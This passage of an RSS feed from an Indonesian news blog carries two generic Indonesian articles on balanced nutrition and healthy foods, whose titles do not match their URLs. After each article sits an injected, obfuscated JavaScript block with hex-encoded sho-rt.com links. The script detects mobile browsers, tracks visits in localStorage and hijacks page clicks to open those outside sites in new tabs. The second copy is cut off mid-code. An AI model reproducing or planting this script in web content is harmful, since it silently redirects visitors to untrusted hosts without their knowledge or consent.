328. <p>Kedua, perhatikan proporsi makanan Anda. Pastikan Anda mengonsumsi makanan dalam porsi yang seimbang. Misalnya, sekitar setengah piring makanan Anda terdiri dari sayuran, seperempat piring terdiri dari karbohidrat, dan seperempat piring terdiri dari protein.</p>
329. <p>Ketiga, hindari makanan olahan dan makanan cepat saji yang kaya akan lemak jenuh dan kalori yang tinggi. Lebih baik memilih makanan segar dan alami yang lebih baik untuk kesehatan tubuh.</p>
330. <p>Keempat, perhatikan juga cara pengolahan makanan. Mengolah makanan dengan cara yang sehat seperti merebus, memanggang, atau mengukus adalah pilihan yang lebih baik dibandingkan menggoreng makanan.</p>
331. <p>Kelima, jangan lupa untuk minum air putih yang cukup setiap hari. Air putih sangat penting untuk menjaga kelembapan tubuh dan membantu mengeluarkan racun dari dalam tubuh.</p>
332. <h2>Kesimpulan</h2>
333. <p>Hello pembaca! Gizi seimbang sangat penting dalam menjaga kesehatan tubuh kita. Dengan mengonsumsi makanan yang seimbang, tubuh kita mendapatkan asupan nutrisi yang dibutuhkan untuk menjalankan fungsi organ tubuh dengan optimal. Gizi seimbang juga berperan dalam menjaga berat badan yang sehat, meningkatkan sistem kekebalan tubuh, menjaga kesehatan organ tubuh, serta menjaga kesehatan tulang dan gigi. Dengan menerapkan tips untuk menerapkan gizi seimbang dalam kehidupan sehari-hari, kita dapat menjaga kesehatan tubuh dan mencegah berbagai penyakit. Jadi, mari kita mulai menjaga pola makan yang sehat dan gizi seimbang untuk hidup yang lebih sehat!</p>
334. <p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script></p><p>The post <a href="https://lensawartawan.com/cara-mengurus-sipb-bidan-online/">Pentingnya Gizi Seimbang dalam Menjaga Kesehatan Tubuh</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></content:encoded>
338. </item>
339. <item>
340. <title>Makanan Sehat untuk Menjaga Kebugaran Tubuh</title>
341. <link>https://lensawartawan.com/cara-mengurus-njop/</link>
343. <dc:creator><![CDATA[BOSLINK.ID]]></dc:creator>
344. <pubDate>Sat, 23 Sep 2023 23:07:00 +0000</pubDate>
345. <category><![CDATA[Tips Dan Trik]]></category>
346. <guid isPermaLink="false">https://lensawartawan.com/?p=914</guid>
347.  
348. <description><![CDATA[<p>Mengapa Makanan Sehat Penting? Hello pembaca! Di tengah gaya hidup modern yang serba cepat ini, seringkali kita mengabaikan pentingnya makanan sehat dalam menjaga kebugaran tubuh. Padahal, makanan sehat bukan hanya memberikan nutrisi yang dibutuhkan oleh tubuh, tetapi juga dapat meningkatkan daya tahan tubuh dan mencegah berbagai penyakit. Dalam artikel ini, kita akan membahas beberapa jenis ... <a title="Makanan Sehat untuk Menjaga Kebugaran Tubuh" class="read-more" href="https://lensawartawan.com/cara-mengurus-njop/" aria-label="Read more about Makanan Sehat untuk Menjaga Kebugaran Tubuh">Read more</a></p>
349. <p>The post <a href="https://lensawartawan.com/cara-mengurus-njop/">Makanan Sehat untuk Menjaga Kebugaran Tubuh</a> first appeared on <a href="https://lensawartawan.com">Lensa Wartawan</a>.</p>]]></description>
350. <content:encoded><![CDATA[<h2> Mengapa Makanan Sehat Penting?</h2>
351. <p>Hello pembaca! Di tengah gaya hidup modern yang serba cepat ini, seringkali kita mengabaikan pentingnya makanan sehat dalam menjaga kebugaran tubuh. Padahal, makanan sehat bukan hanya memberikan nutrisi yang dibutuhkan oleh tubuh, tetapi juga dapat meningkatkan daya tahan tubuh dan mencegah berbagai penyakit. Dalam artikel ini, kita akan membahas beberapa jenis makanan sehat yang dapat membantu menjaga kebugaran tubuh kita.</p>
352. <h2>1. Buah-buahan Segar</h2>
353. <p>Hello pembaca yang budiman! Buah-buahan segar merupakan salah satu sumber nutrisi yang sangat penting bagi tubuh kita. Buah-buahan mengandung banyak serat, vitamin, dan mineral yang dapat memperkuat sistem kekebalan tubuh kita. Beberapa buah yang dianjurkan untuk dikonsumsi adalah apel, pisang, jeruk, dan mangga. Selain itu, buah-buahan juga mengandung antioksidan yang dapat membantu melawan radikal bebas dalam tubuh kita.</p>
354. <h2>2. Sayuran Hijau</h2>
355. <p>Hello pembaca yang terhormat! Sayuran hijau seperti bayam, brokoli, dan kangkung merupakan sumber serat yang sangat baik. Selain itu, sayuran hijau juga kaya akan vitamin dan mineral. Mengonsumsi sayuran hijau secara teratur dapat membantu menjaga kesehatan jantung, meningkatkan pencernaan, dan menjaga berat badan yang sehat. Jadi, jangan lupa untuk selalu menyertakan sayuran hijau dalam menu makanan sehari-hari kita.</p>
356. <h2>3. Ikan</h2>
357. <p>Hello pembaca yang tercinta! Ikan merupakan sumber protein yang sangat baik dan kaya akan asam lemak omega-3. Asam lemak omega-3 memiliki banyak manfaat bagi tubuh, seperti menjaga kesehatan otak, jantung, dan kulit. Beberapa jenis ikan yang mengandung asam lemak omega-3 adalah salmon, tuna, dan ikan sarden. Untuk mendapatkan manfaat maksimal, disarankan untuk mengonsumsi ikan minimal dua kali dalam seminggu.</p>
358. <h2>4. Beras Merah</h2>
359. <p>Hello pembaca yang saya hormati! Beras merah merupakan sumber karbohidrat yang lebih sehat dibandingkan dengan beras putih. Beras merah mengandung serat yang lebih tinggi, vitamin, dan mineral. Mengonsumsi beras merah dapat membantu menjaga kadar gula darah, meningkatkan kesehatan pencernaan, dan memberikan energi yang lebih stabil. Jadi, jika memungkinkan, gantilah nasi putih dengan beras merah dalam menu makanan sehari-hari kita.</p>
360. <h2>5. Kacang-kacangan dan Biji-bijian</h2>
361. <p>Hello pembaca yang saya kagumi! Kacang-kacangan seperti almond, kacang tanah, dan kenari, serta biji-bijian seperti chia seed dan flaxseed, merupakan sumber protein nabati yang sangat baik. Selain itu, kacang-kacangan dan biji-bijian juga mengandung serat, vitamin, dan mineral. Mengonsumsi kacang-kacangan dan biji-bijian dapat membantu menjaga kesehatan otot, meningkatkan energi, dan memperbaiki kualitas tidur kita. Jadi, jangan ragu untuk menambahkan kacang-kacangan dan biji-bijian dalam menu makanan sehari-hari kita.</p>
362. <h2>6. Yogurt</h2>
363. <p>Hello pembaca yang saya hormati! Yogurt merupakan sumber kalsium, protein, dan probiotik yang sangat baik untuk kesehatan pencernaan kita. Mengonsumsi yogurt secara teratur dapat membantu menjaga kesehatan tulang, meningkatkan sistem kekebalan tubuh, dan meningkatkan penyerapan nutrisi dalam tubuh. Selain itu, yogurt juga dapat menjadi pilihan camilan sehat yang mengenyangkan. Jadi, jangan lupa untuk menyertakan yogurt dalam menu makanan sehari-hari kita.</p>
364. <h2>7. Teh Hijau</h2>
365. <p>Hello pembaca yang tercinta! Teh hijau mengandung antioksidan yang tinggi, seperti katekin, yang dapat membantu melawan radikal bebas dalam tubuh kita. Selain itu, teh hijau juga dapat meningkatkan metabolisme tubuh, membantu menurunkan berat badan, dan meningkatkan konsentrasi kita. Untuk mendapatkan manfaat maksimal, disarankan untuk mengonsumsi teh hijau secara teratur tanpa pemanis tambahan.</p>
366. <h2>8. Telur</h2>
367. <p>Hello pembaca yang saya kagumi! Telur merupakan salah satu makanan yang kaya akan protein berkualitas tinggi. Mengonsumsi telur dapat membantu menjaga kesehatan otot, meningkatkan kenyang, dan memperbaiki kualitas tidur kita. Selain itu, telur juga mengandung vitamin D, vitamin B12, dan mineral yang penting untuk tubuh kita. Jadi, jangan ragu untuk menyertakan telur dalam menu makanan sehari-hari kita.</p>
368. <h2>9. Daging Tanpa Lemak</h2>
369. <p>Hello pembaca yang budiman! Daging tanpa lemak seperti ayam tanpa kulit, daging sapi tanpa lemak, dan ikan tanpa lemak merupakan sumber protein yang sangat baik. Protein diperlukan oleh tubuh kita untuk membangun dan memperbaiki jaringan tubuh. Selain itu, daging tanpa lemak juga mengandung zat besi dan vitamin B kompleks yang penting untuk kesehatan tubuh. Jadi, pastikan untuk memilih daging tanpa lemak dalam menu makanan sehari-hari kita.</p>
370. <h2>10. Minyak Zaitun</h2>
371. <p>Hello pembaca yang terhormat! Minyak zaitun merupakan sumber lemak sehat yang dapat membantu menjaga kesehatan jantung dan mengurangi peradangan dalam tubuh kita. Minyak zaitun juga mengandung antioksidan yang dapat melindungi sel-sel tubuh dari kerusakan akibat radikal bebas. Untuk mendapatkan manfaat maksimal, disarankan untuk menggunakan minyak zaitun dalam memasak dan sebagai dressing untuk salad.</p>
372. <h3> Kesimpulan</h3>
373. <p>Untuk menjaga kebugaran tubuh, penting bagi kita untuk mengonsumsi makanan sehat yang kaya akan nutrisi. Buah-buahan segar, sayuran hijau, ikan, beras merah, kacang-kacangan dan biji-bijian, yogurt, teh hijau, telur, daging tanpa lemak, dan minyak zaitun adalah beberapa contoh makanan sehat yang dapat membantu menjaga kebugaran tubuh kita. Jadi, mari kita mulai mengubah kebiasaan makan kita dan menjadikan makanan sehat sebagai bagian dari gaya hidup kita. Dengan begitu, kita dapat memiliki tubuh yang sehat dan bugar untuk menjalani aktivitas sehari-hari dengan optimal.</p>
374. <p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const 